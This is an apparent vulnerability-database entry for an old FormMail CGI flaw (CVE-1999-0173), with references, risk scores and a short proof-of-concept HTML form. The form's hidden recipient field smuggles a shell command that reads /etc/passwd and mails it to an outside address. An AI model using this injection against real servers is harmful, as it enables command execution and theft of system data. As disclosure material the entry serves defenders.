Matt Wright FormMail 1.x - Cross-Site Request Forgery
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | CVE-1999-0173 | 29 Sep 199904:00 | – | cve |
 | CVE-1999-0173 | 29 Sep 199904:00 | – | cvelist |
 | EUVD-1999-0173 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0173 | 1 Jan 199705:00 | – | nvd |
 | PT-1997-1076 · Nms · Formmail Cgi | 1 Jan 199700:00 | – | ptsecurity |
 | CVE-1999-0173 | 21 May 202518:06 | – | redhatcve |
source: https://www.securityfocus.com/bid/2080/info
FormMail is a widely-used web-based e-mail gateway, which allows form-based input to be emailed to a specified user.
A web server can use a remote site's FormMail script without authorization, using remote system resources or exploiting other vulnerabilities in the script. For example, this issue can be used to exploit BID 2079, "Matt Wright FormMail Remote Command Execution Vulnerability".
<html><head><title>hack</title></head>
<body><form method="post" action="http://remote.target.host/cgi-bin/formmail.pl">
<input type="hidden" name="recipient" value="[email protected]; cat /etc/passwd | mail [email protected]">
<input type="submit" name="submit" value="submit">
</form></body></html>Data
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13 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.04923